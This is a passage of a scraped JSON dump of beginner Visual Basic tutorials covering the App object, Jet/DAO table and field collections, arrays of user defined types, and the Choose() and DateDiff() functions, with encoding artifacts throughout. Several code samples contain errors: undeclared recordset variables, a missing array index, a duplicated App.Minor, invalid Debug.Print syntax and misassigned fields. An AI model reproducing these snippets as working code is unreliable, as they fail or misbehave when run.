MyApp Version 2.2.34, the Revision would be \"34\"\n<LI>Path - Probably the most commonly used property. Returns the full path to the folder that the executable was \n\t\t\t\trun from.\n<LI>Title - The name of the application (i.e. MyCoolApp or whatever you compiled it as). This is not necessarily the same as the\n\t\t\tEXEName, since EXE's can be renamed at will. \n</blockquote></blockquote>\n Methods: \n<LI>StartLogging - Sets the execution log path to a log file. Can also be set to log to the NT Event Log.\n<LI>LogEvent - Causes a log event to be written to the \n log path that was specified in the StartLogging method.</LI></BLOCKQUOTE></BLOCKQUOTE>\n\nExample: To find out what path the .exe is running from: \n<BLOCKQUOTE>\n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<PRE>\t\tMsgBox \"The application is running from \" & App.Path\n\t</PRE></BLOCKQUOTE> \n<BLOCKQUOTE>\nToday's code snippet returns a list of information about the current \napplication: \t\t\n\n\nCopy & Paste Code:\n\n<PRE>\n\n<CODE></CODE></PRE>\n \n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<CODE> \n\tDebug.Print \"Application Name: \" & App.Title\n Debug.Print \"Running From: \" & App.Path\n Debug.Print \"Version = \" & App.Major & \".\" & App.Minor & App.Minor \n</CODE></PRE>\n Some Notes about the App Object:\n \n<LI>You can use the App.PrevInstance property to prevent your application from being run more than once on a single machine:\n \n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<CODE> \nIf App.PrevInstance = True Then\n\tMsgBox App.Title & \" is already running.\nEnd If\n \n</CODE></PRE></LI>\n</blockquote></blockquote>\n<li>You can open a local file from the application's folder without knowing what path the application is running from:\n<CODE> \n \n</CODE></PRE></LI>\n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<CODE> \nOpen App.Path & \"customer.dat\" For Input As #1\n</CODE></PRE>\n \nThe App Object makes it easy to do some things that otherwise would be very difficult to do in VB. The App.Path property is \nespecially helpful when creating applications that manipulate files. Any comments about this article are welcome.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":11529,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>Jet Collections</TITLE>\n<META NAME=\"Template\" CONTENT=\"D:\\OFFICE97\\OFFICE\\html.dot\">\n</HEAD>\n<BODY LINK=\"#0000ff\" VLINK=\"#800080\">\nUsing Collections in Visual Basic \nPart 2 - Jet Database Collections\n┬á\nMost Visual Basic developers are familiar with the Jet Database Engine. While it receives a lot of flack from developers who work with more powerful systems such as Oracle or SQL Server, Jet has a lot of really good features that make it ideal for a desktop application. Besides, we VB Developers are used to sneers and comments from \"hard core\" language programmers. \"What is that? A string parameter? Why, in C++, we don't pass strings! We pass pointers to memory addresses that contain null terminated string arrays! That's how real men handle strings!\"\nYea, whatever.\nObviously we VB developers aren't interested in doing things the hard way, and Jet is a wonderful way to avoid it while still having a high level of control over your data. Before I go into the wonderful benefits of the Jet Database Engine, I think it is appropriate to point out that if you are in the habit of using data controls on your forms to access databases, you are greatly limiting your freedom to work with data, and you are bypassing many of the most useful things about Jet. At the risk of sounding like the C++ developer I was just making fun of, you really should take the time to learn DAO or ADO. If there is any interest in a general \"This is how you use DAO/ADO\" tutorial out there, let me know and I will work one up.\nThis tutorial won't go over how to use DAO or ADO for data access. Since DAO seems to be the most common method for accessing Jet data right now, I will give all of my code examples in DAO. If you don't know how to use DAO yet, maybe this article will convince you that it is worth learning. There have been entire books written on using the Jet Database Engine, so to try to cover the \"how to\" basics AND Collections here would get pretty long winded. So I am going to stick to collections.\nNow, on with the tutorial:\nMicrosoft Jet is not actually a thing. It is more like a format. A Jet database consists of a single file with many internal elements. You Access Developers out there will be familiar with the concept of a single Access .mdb file containing many different objects. While it is useful in Access to have forms, macros, and reports in a single file, it is kind of pointless with Visual Basic. You have no way to use those objects from the VB environment, so they are just filler. Therefore, we are going to focus on the Table and Query objects. Don't get too hung up on how Jet stores all of these things in a single file and keeps up with it all, just trust that it does and go with it. For the technically curious, .mdb files are similar to a miniature file system within a single file \"wrapper\". \nSo, on to the meat of this thing. Jet Database Collections. \nIf you read my other tutorial on <A HREF=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.9349/lngWId.1/qx/vb/scripts/ShowCode.htm\">collections</A>, or if you have worked with collections before, this will not seem totally new to you. If not, you can probably hang in there anyway. These examples aren't tough.\nMicrosoft Jet is, as mentioned, a collection of database objects in a single file. These objects have a hierarchy. This just means that there are top level and lower level members, and the top level ones \"contain\" lower level ones. In Jet, the highest level object is the Database object. It is, for all practical purposes, the file itself. Think of it as a big box. Within that box we see other objects. The ones we are concerned with are Tables and Queries. \nWhen Jet stores a table or query, it actually stores a set of information that acts as a table definition. It describes the table to the Jet database engine, and the Jet engine creates it when it needs it. Think of it as a template. The names Microsoft chose to give these objects are a little puzzling unless you know that they are definitions. They are called TableDefs and QueryDefs. They are essentially identical from the collections point of view, so we will concentrate on tablesdefs and then wrap it up with querydefs.\nSo enough of this technical stuff, how about some code. \n(NOTE: DAO requires a reference to the Data Access Object in the References of your project. For information on how to add a reference to DAO, see VB Help and search for \"Creating a Reference to an Object))\n┬á\nTake this example:\nPrivate Sub ShowCustomers()\n\tDim dbCustomers As Database\n\tDim rsCustomers As Recordset\n\t'\tCreate your data objects and open the table \"Customers\"\n\tSet dbCustomers = OpenDatabase (\"C:\\Program Files\\CustomerInfo\\Customers.mdb\")\n\tSet rsCustomers = dbCustomers.OpenRecordset (\"Customers\")\n\t'\tList some information from the database to the debug window\n\tDebug.Print rsCustomers!LastName\n\tDebug.Print rsCustomers!FirstName\n\tDebug.Print rsCustomers!PhoneNumber\n┬á\n\t'\tAlways clean up after you are done!\n\tset dbCustomers = Nothing\n\tset rsCustomers = Nothing \nEnd Sub\nThis sub simply opens a Jet database and displays three values from it. This is pretty easy and straightforward. But there is a problem with this type of code. You have to have prior knowledge of what is in the data file. You have to know the table name, and within the table, you have to know the field names. You may even need to know if those fields are number or string fields. Is PhoneNumber a string or Long datatype? How can you tell? Do we even care?\nAnswer: Probably not. Most of the time that we access databases, we already know the field names and datatypes. So what is my point? My point is, you may not know. I recently created a small project that would allow you to select a table from an Access .mdb file and view all of the data and in a grid. There is no possible way I could know what any random database file is going to contain. There could be any number of tables with any names, and each of those tables could have any arrangement of fields. Obviously there is a way to get to that sort of information in code without knowing it in advance. Either that or my project was a miserable failure, and I can tell you it wasn't...just a modest one. There is a way to examine any Jet database and determine its elements. This method is collections (FINALLY!).\nIf you remember, I said earlier that the highest level object in a Jet database is the Database object. That means that if we want to refer to anything within the database, you must reference it THROUGH this object. But how do you do THAT? We already have. Look at the code above and you will see this line: \n \n\tSet rsCustomers = dbCustomers.OpenRecordset (\"Customers\")\nThis line tells VB to create a new Recordset object based on dbCustomers, using the table Customers. To refer directly to that table in code, you could use this syntax:\n\tdbCustomers.TableDefs(\"Customers\")\nBecause what you are really telling it to do is to look at the table named \"Customers\", which is part of the TableDefs COLLECTION in the database dbCustomers. The TableDefs collection contains all of the tables in the database...even the super-secret hidden ones that Jet uses internally to manage the data. Hidden tables will begin with mSys. You will see them later on.\nBut wait! In the example above, I just did it the hard way. I still had to know the name of the table...or did I? Although you can refer to the tables in the manner that I did, you don't have to. All collections in Visual Basic are enumerated. That means that they are basically a glorified array. And as you know, you can refer to the elements of an array with an index number. For example, to find out what the 5the element in a string array is, you could do this:\nstrTest = strTestArray(4)\n(Remember, arrays are zero-based unless you specify the Option Base explicitly...just a reminder).\nSo to get the first element in the array, you could say this:\n\tstrTest = strTestArray(0)\nEasy, right? Well then you have got the concept. You can reference tables in a Jet database the same way:\n\tstrTableName = dbCustomers!TableDefs(0).Name\n\tDebug.Print strTableName\n\t\t\nThis will return the name of the table - Customers.\nWait! This is getting cool! That means that if you know the index number, you can get the name! But how can I know the index of a particular table? You can't. But as you will see, it doesn't matter, because you can use the For...Next command to go through them all.\nCheck this out:\nPrivate Sub ListTables()\n\t\n\tDim dbTableList As Database\n\tDim intTableNumber As Integer\n\tDim strTableName as String\n\tSet dbTableList = OpenDatabase (\"C:\\program files\\customerinfo\\ customers.mdb\")\n\tFor intTableNumber = 0 To dbTableList.TableDefs.Count - 1 \n\t\tstrTableName = dbTableList.TableDefs(intTableNumber).Name\n\t\tDebug.Print strTableName\n\tNext intTableNumber\nEnd Sub\nThere are a couple of things to note here. The first is that I used 0 to dbTableList.TableDefs.Count -1. All collections have a built-in property \"Count\" which contains the number of elements in the collection. This is just like the Recordset's RecordCount property. If you have ever done this:\n\tintRecords = rsCustomers.RecordCount\nThen you have used the Count property. It always returns a number equal to the number of elements. If there are no elements, it will return 0. \nThe next thing to note is the use of the Name property. As with all object in VB, each element in the TableDefs collection can have an associated Name. This is exactly what you were referring to earlier when you said:\n┬á\n\tdbCustomers.TableDefs(\"Customers\")\nSo now you see how you can get the names of tables without any prior knowledge of the database. You can also get other properties from them such as RecordCount. Take some time to explore all of the available properties...you may be surprised.\nWe now have a big part of the problem whipped. We can go into a table and list the table names in code. Cool. But what about fields? Trust me, it is EXACTLY the same concept.\n\t\tFor intFieldNumber = 0 to rsCustomers.Fields.Count - 1 \n\t\t\tstrFieldName = rsFieldList.Fields.Name\n\t\t\tDebug.Print strFieldName\n\t\tNext intFieldNumber\nThis works because the TableDef object contains a Fields collection. You could combine the two examples and get a list of EVERY FIELD in EVERY TABLE in your database. Try it:\nPrivate Sub ListAllTables()\n\t\n\tDim dbTableList As Database\n\tDim strTableName as String\n\tDim intTableNumber As Integer\n\tDim strFieldName As String\n\tDim intFieldNumber As Integer\n\tSet dbTableList = OpenDatabase (\"C:\\program files\\customerinfo\\customers.mdb\")\n\tFor intTableNumber = 0 To dbTableList.TableDefs.Count - 1 \n\t\tstrTableName = dbTableList.TableDefs.Name\n\t\tDebug.Print strTableName\t\t\t\n\t\tFor intFieldNumber = 0 To rsCustomers.Fields.Count - 1 \n\t\t\tstrFieldName = rsFieldList.Fields.Name\n\t\t\tDebug.Print strFieldName\n\t\tNext intFieldNumber\n\t\tintFieldNumber = 0 \n\tNext intTableNumber\nEnd Sub\nHow about that! You can make it look a little neater by adding an indention for the fields. Just change this line: \n\tDebug.Print strFieldName\nto\n\tDebug.Print & \" \" & strFieldName\nYour debug window will contain something like this:\nCustomers\n\tLastName\n\tFirstName\n\tPhoneNumber\nOrders\n\tOrderNumber\n\tAmount\n\tDate\n....\n┬á\nI could go on with examples, but I bet you get the idea now. I will get your curiosity up by telling you that the Field object also contains a Properties collection. It has such information as Data Type, Length, Name, etc. That is how you were able to get the name of the field. You can access this collection like this:\n\t\tstrFieldName = rsFieldList.Fields.Properties(2).Name\n\t\tstrFieldName = rsFieldList.Fields.Properties(2).Length\nWith that I will turn you loose to go experiment on your own. I am including the application that I wrote. It is VERY well commented, so maybe you can see how all of this database collections stuff is put to work. \nBy the way, I mentioned QueryDefs as well as TableDefs. Basically, the only difference is that you reference a saved query by referencing the QueryDefs collection instead of the TableDefs collection. Example: <DIR>\n<DIR>\nSet rsCustomers = dbCustomers.QueryDefs(\"Customers\") </DIR>\n</DIR>\nOr<DIR>\n<DIR>\nSet rsCustomers = dbCustomers.QueryDefs(2)\n┬á\n┬á</DIR>\n</DIR>\nHave fun!\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":14353,"LineNumber":1,"line":"<html xmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:w=\"urn:schemas-microsoft-com:office:word\"\nxmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Word.Document>\n<meta name=Generator content=\"Microsoft Word 9\">\n<meta name=Originator content=\"Microsoft Word 9\">\n<link rel=File-List href=\"./multidimtypes_files/filelist.xml\">\n<title>Creating Multi-Dimensional </title>\n\n<style>\n\n</style>\n</head>\n<body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'>\n<div class=Section1>\n<span\nstyle='font-size:16.0pt;mso-bidi-font-size:12.0pt;mso-bidi-font-family:Arial'>Creating\nMulti-Dimensional<o:p></o:p>\n<h1>User Defined Types</h1>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis is a follow-up\nfor my tutorial “<a\nhref=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.8370/lngWId.1/qx/vb/scripts/ShowCode.htm\">Create\nyour own User Defined Types – A Basic User Defined Type Tutorial</a>.”<span\nstyle=\"mso-spacerun: yes\">┬á You should read it first if you are not\nfamiliar with User Defined Types.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn my first\narticle, I showed how to easily create you own custom data storage types. With\nthese, you could keep related pieces of information in one easy to use place.\nFor example, you could have a “Customer “ user defined type and store\ninformation like this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Customer.FirstName = “John”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Customer.LastName = “ Smith”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn addition to\nbeing able to tie these pieces of data together in one variable name\n(customer), you also have the really cool ability to see your choices in a\ndrop-down list just like the built-in Visual Basic object properties.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this article, I\nwould like to show you how to expand that capability to multiple instances of\nthe user defined type. Let me explain. It is nice to have a variable in your\napplication that holds similar information, but what if you are working with\nthree different customers and want to manage information for all of them? There\nare a couple of ways to accomplish this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nConsider what you\ndo if you want to hold several strings separately:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim strOne As\nString<o:p></o:p>\nDim strTwo As\nString<o:p></o:p>\nDim strThree As\nString<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou can define as\nmany variables as you like with the type of “string” because “string” is a\nVisual Basic data type. Well VB gives you the power to create your own data\ntypes, made up of standard variable types. <o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo do the same\nthing with a user defined type, do this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nType Customer<o:p></o:p>\nFirstName As String<o:p></o:p>\nLastName As String<o:p></o:p>\nPhone As String<o:p></o:p>\nDOB as Date<o:p></o:p>\nEnd Type<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow you can create\nmultiple variables of the same type:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim Customer1 As\nCustomer<o:p></o:p>\nDim Customer2 As\nCustomer<o:p></o:p>\nDim Customer3 As\nCustomer<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nJust as with any\nother variable type, you can add different information to each and it will\nremain with the variable you assigned it to:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCustomer1.Phone =\n“555-1234”<o:p></o:p>\nCustomer1.FirstName=”John”<o:p></o:p>\nCustomer1.LastName=”Smith”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCustomer2.Phone =\n“555-1111”<o:p></o:p>\nCustomer1.FirstName=”Jane”<o:p></o:p>\nCustomer1.LastName=”Doe”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCustomer3.Phone =\n“123-4567”<o:p></o:p>\nCustomer3.FirstName=”Jane”<o:p></o:p>\nCustomer3.LastName=”Doe”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHow is that for\ncool?<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBut wait, it gets\nbetter. What if you don’t know how many customers you will be working with?\nWhat then? Do you create 100 of these variables and hope you never need more?\nCertainly not! Again, think about how you would do it with a string variable:<br\nstyle='mso-special-character:line-break'>\n<![if !supportLineBreakNewLine]> \n<![endif]><o:p></o:p>\nDim strTest(4) As\nString<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis creates a\nstring array with 4 elements. You can access each element by changing the index\nnumber:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(0) = “Hello”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(1) = “How”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(2) = “Are” <o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á StrTest(3) = “You?”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDoing this: <o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á For intTest = 0 To 3<o:p></o:p>\n<span\nstyle='mso-tab-count:2'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox strTest(intTest)<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Next intTest<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWill loop through\nthis array and put each element in its own message box. Why? I have no idea…but\nI am trying to make a point here.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou can do the same\nthing by defining the type YOU created as an array:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim MyCustomers(4) As Customers <o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(0).FirstName = “John”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(0).LastName = “Smith”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMyCustomers(1).FirstName = “Jane”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(1).LastName = “Doe”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMyCustomers(2).FirstName = “Sue”<o:p></o:p>\nMyCustomers(2).LastName = “Thomas”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(3).FirstName = “Al”<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á MyCustomers(3).LastName = “Anderson”<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á For intTest = 0 To 3<o:p></o:p>\n<span\nstyle='mso-tab-count:2'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Msgbox\nMyCustomers(intTest).FirstName<o:p></o:p>\n<span\nstyle='mso-tab-count:1'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Next intTest<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAt this point, your\nUser Defined Type starts to resemble a recordset in many ways, but requires\nmuch less overhead than a recordset object does. If you use your imagination,\nyou can see how this would be very powerful when you substitute a variable in\nyour array declaration like this:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDim MyCustomers(intCustomerCount) as Customers<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThen you can loop\nthrough the collection by incrementing an index variable. In this example, you\nwould add all customers to a listbox control on a form.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFor intCustNumber = 0 to Ubound(MyCustomers) – 1<o:p></o:p>\n<span\nstyle='mso-tab-count:2'>┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ListBox1.Add MyCustomer(intCustNumber).FirstName\n& MyCustomer(intCustNumber).LastName\nNext intCustNumber<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI have found many\nuses for this concept in my applications and am sure that if you are curious\nenough, you will as well. If you come up with some novel uses for it, please\nemail me and let me know: <a href=\"mailto:mmroberts@usa.net\">mmroberts@usa.net</a><o:p></o:p>\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":14371,"LineNumber":1,"line":"\nPublic Function Match(strSource As String, strCompare As String) As Boolean\nDim lngCheck As Long\n \n For lngCheck = 1 To Len(strCompare)\n If InStr(strSource, Mid(strCompare, lngCheck, 1)) Then\n Match = True\n Exit Function\n End If\n \n Next lngCheck\nEnd Function\n"},{"WorldId":1,"id":22284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22762,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage Express 2.0\">\n<title>Daily Newbie - 04/28/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n┬á\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\nFourth\nEdition┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nApril 28,\n2001┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nFree\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n┬á\n┬á\nAbout this\nfeature:\n\nThe initial plan for the Daily Newbie was to cover each function VB has to offer\nin alphabetical order. I have now modified this plan slightly to skip over some of\nthe more advanced (or tedious) commands that I don't think the Newbie would benefit from.\nThanks again all who have written in support of this effort. It makes a difference.\nToday's command is not widely known for some reason, but is faily useful. \nI have been guilty of writing functions that do the exact same thing several times. I think you will\nlike this one.\n\nToday’s Keyword:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á<font\nsize=\"4\" face=\"Arial\"> Choose()\nName Derived\nFrom:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n<blockquote>\n <font\n size=\"2\" face=\"Arial\">Choose (of\n course) – “(1) : to make a selection\"\n\t\t\t\t\t\t - <a href=\"http://www.webster.com/\">Webster's online\n dictionary.</a>\n </blockquote>\n </blockquote>\n<font\nsize=\"2\" face=\"Arial\">Used for┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nMaking a choice between several possible options.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áSelects and returns a value from a list ofarguments.\n\n<font\nsize=\"2\" face=\"Arial\">Plain\nEnglish:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áReturns the option associated with the value passed it (I will just have to show you!)\n<font\nsize=\"2\" face=\"Arial\">Syntax:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬áChoose(index, Choice1, Choice2, etc...)\n<font\nsize=\"2\" face=\"Arial\">Usage:┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬ástrDecision = Choose(intChoice┬á,┬á \"Just do it\"┬á, ┬á\"Don't do it\"┬á,┬á \"It's your life\"┬á)\n┬á\nCopy & Paste Code:\n \n \nToday's code snippet will prompt for a month number and return a string\nthat corresponds to it.\n \n \n<pre>\n Dim Choice\n Dim strMonth As String\n Do\n Choice = Val(InputBox(\"Enter a Number (1-12):\"))\n \n If Choice + 0 = 0 Then Exit Do\n \n strMonth = Choose(Choice, \"Jan\", \"Feb\", \"Mar\", \"Apr\", _\n \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\")\n \n MsgBox strMonth\n Loop\n</pre>\n ┬á\n<font\nsize=\"2\" face=\"Arial\">Notes:┬á\nI really like the Choose function. It comes in handy for with evaluating which option button \nwas clicked, or anything else that returns an index number. Unfortunatly, like the Array() command\ncovered a couple of articles ago, the Choose() function requires a seperate hard coded value for\neach possible choice. This isn't neccesarily a bad thing, but I am allergic to hard coding, so it\njust rubs me wrong. I guess the chances of the order of the months changing is pretty slim...\n \nThings to watch out for:┬á\n<li>Although the Choose() Statement only returns a single value, it still evaluates each one. In effect, \nit acts like a compact series of If...Then statements. This can result in the sometimes baffling behavior\nof displaying one message box with the correct value and many empty ones. For this reason, the results \nof a Choose() statement should be returned to a variable before displaying it in a message box.\n \n<li>If the Index value passed in is null, an error will result. Therefore, if you are using a variant\nas your Index, you should add zero to it to initialize it as a number. This will make the default value zero, not null.\n \nTomorrow's Keyword:\t\t\tChr()\n\n</body>\n</html>\n"},{"WorldId":1,"id":22717,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<title>Daily Newbie - 04/25/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n \n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\nThird \nEdition \n \nApril 26,\n2001 \n \nFree\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n \n \nAbout this\nfeature:\nToday's Newbie code is the result of a request from a reader of yesterdays (thanks for the suggestion BigCalm).\nToday I am going to discuss the DateDiff() function. Many newbies (and some more experienced coders) spend many hours writing code to do the exact same things that they could do with a single call to DateDiff(). I hope to show you what this function is, how to use it, and how it can make your coding MUCH easier. \n.\nToday’s Keyword:\n <font\nsize=\"4\" face=\"Arial\"> DateDiff()\nName Derived\nFrom: \n \"Date Difference \"\n \n<font\nsize=\"2\" face=\"Arial\">Used for \nDetermining the difference between two dates or times.\n<font\nsize=\"2\" face=\"Arial\">VB Help Description: Returns a Variant (Long) specifying the number of time intervals between two specified dates.\nPlain\nEnglish: Makes adding and subtracting dates easier by allowing you to pass in a start and end date and get difference back. This difference can be in any valid date/time increment (day, week, month, quarter, year, hour, minute, second).\n<font\nsize=\"2\" face=\"Arial\">Syntax: X = DateDiff(Interval, StartDateTime, EndDateTime)\n<font\nsize=\"2\" face=\"Arial\">Usage: intDayCount = DateDiff(\"d\",\"01/01/1995\", \"01/01/2001\")\n<font\nsize=\"2\" face=\"Arial\">Parameters: <li>Interval - The type of results you want returned. These are:\n\n\t\t\tyyyy\t=Year\n\t\t\tq\t=Quarter\n\t\t\tm\t=Month\n\t\t\ty\t=Day of 